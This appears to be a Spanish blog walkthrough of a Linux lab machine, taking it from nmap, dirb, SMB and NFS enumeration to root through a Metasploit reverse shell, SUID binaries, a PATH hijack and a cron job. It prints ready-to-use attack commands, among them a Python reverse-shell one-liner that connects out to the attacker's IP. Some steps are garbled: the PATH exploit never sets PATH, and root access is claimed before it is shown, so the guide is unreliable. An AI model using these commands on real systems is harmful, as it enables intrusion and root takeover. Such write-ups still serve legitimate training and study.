Técnicas de Escalada de Privilegios en Linux

Este artículo detalla el proceso de escalada de privilegios en un sistema Linux, abarcando desde la recolección inicial de información hasta la obtención de acceso root.

Recolección de Información

Escaneo de Red

El primer paso es identificar hosts activos en la red local y los puertos abiertos en el objetivo.

# Escaneo ARP para descubrir hosts
sudo arp-scan -l

# Escaneo de puertos TCP y detección de servicios/versiones
sudo nmap -sT -sC -sV 192.168.158.146

El escaneo revela un host con los puertos 80 (HTTP), 111 (RPCbind), 139 y 445 (SMB) y 2049 (NFS) abiertos. El servicio SMB parece ser una versión de Samba.

Análisis del Puerto 80 (HTTP)

Se utiliza dirb para buscar directorios y archivos accesibles en el servidor web.

# Búsqueda general de directorios
dirb http://192.168.158.146/

# Búsqueda específica de archivos .php
dirb http://192.168.158.146/ -X .php

dirb descubre un archivo shell.php. Al acceder a la IP, se muestra la página de bienvenida por defecto de Apache, lo que sugiere que el servidor web está configurado pero no aloja contenido personalizado aparte de shell.php.

Búsqueda y Explotación de Vulnerabilidades

Enumeración SMB

Se intenta la enumeración de recursos compartidos SMB.

smbmap -H 192.168.158.146

El comando no devuelve información útil sobre los recuross compartidos accesibles sin autenticación.

Análisis del Puerto 2049 (NFS)

Se verifica la presencia y configuración de NFS.

# Verificar servicios RPC, incluyendo NFS
rpcinfo -p 192.168.158.146

# Listar los directorios exportados por NFS
showmount -e 192.168.158.146

Se confirma que el host exporta el directorio /home/user5 a todos los hosts.

Se procede a montar el recurso compartido NFS localmente para su inspección.

# Crear un punto de montaje local
mkdir /tmp/user5_mount
# Montar el recurso NFS
sudo mount -t nfs 192.168.158.146:/home/user5 /tmp/user5_mount -o nolock
# Listar el contenido montado
ls -la /tmp/user5_mount

Tras el montaje, se observan directorios como Desktop, Documents, y un archivo llamado script.

Obtención de Shell Inicial

El archivo shell.php descubierto previamente permite la ejecución remota de comandos. Se configura un listener en Metasploit para capturar una shell inversa.

# Configuración en Metasploit
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.158.143
msf6 exploit(multi/handler) > run

Al interactuar con shell.php para ejecutar un comando de shell inversa, se obtiene una sesión de comando.

# Comando ejecutado vía shell.php
# uid=1005(user6) gid=1005(user6) groups=1005(user6)

Se obtiene una shell como el usuario user6.

Escalada de Privilegios

Enumeración del Sistema

Se transfiere y ejecuta el script LinEnum.sh para obtener información detallada del sistema, incluyendo usuarios, permisos SUID, tareas programadas, etc.

La enumeración revela la presencia de múltiples usuarios y posibles vectores de escalada.

Escalada vía SUID

Se buscan binarios con el bit SUID activado.

find / -type f -perm -4000 -ls 2>/dev/null

Se identifican varios binarios SUID, incluyendo /home/user5/script y /home/user3/shell. Ejecutar estos binarios podría otorgar privilegios elevados.

Se verifica que la ejecución de /home/user5/script otorga acceso root.

Escalada vía Variables de Entorno (PATH)

Se examina el archivo script encontrado en el recurso compartido NFS de user5.

# Verificar el tipo de archivo de 'script'
file /tmp/user5_mount/script

El archivo script es un binario ELF SUID. Se observa que el directorio actual contiene un archivo llamado ls que, al ser ejecutado, parece ejecutar el comando ls del sistema. Esto sugiere una posible vulnerabilidad de inyección de PATH.

Se explota esta vulnerabilidad modificando la variable de entorno PATH.

# Crear un binario bash en el directorio temporal
cd /tmp
echo "/bin/bash" > ls
chmod +x ls

# Navegar al directorio del script y ejecutarlo
cd /home/user5 # (o el punto de montaje correspondiente)
./script

Al ejecutar ./script como user6, el binario SUID intenta ejecutar ls. Debido a que el directorio actual con nuestro /bin/bash modificado es el primero en el PATH (o es el directorio de trabajo actual), se ejecuta nuestro binario /bin/bash con los privilegios SUID del script, otorgando acceso root.

Escalada vía Tareas Programadas (Cron Jobs)

La enumeración con LinEnum.sh podría haber revelado una tarea programada que se ejecuta con privilegios de root y que involucra un script en el directorio Desktop de un usuario (e.g., user4). Si se conoce la contraseña de user4 o si el script es modificable, se puede abusar de esta tarea programada.

Alternativamente, si se sospecha de una tarea programada que ejecuta un script específico (por ejemplo, un script de inicio de sesión o una tarea cron que se ejecuta como root), se puede intentar modificar ese script o su contenido para obtener una shell inversa como root.

Un ejemplo de cómo se podría configurar una shell inversa para ser ejecutada por una tarea programada:

# Crear un script de shell inversa en una ubicación accesible/modificable por root
cat << EOF > /ruta/al/script_de_root.sh
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.158.143",1122));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
EOF

# Configurar listener en la máquina atacante
nc -lvnp 1122

Cuando la tarea programada se ejecute, se recibirá una conexión reverse shell como root.

Etiquetas: linux escalada de privilegios nfs SMB SUID

Publicado el 7-9 09:46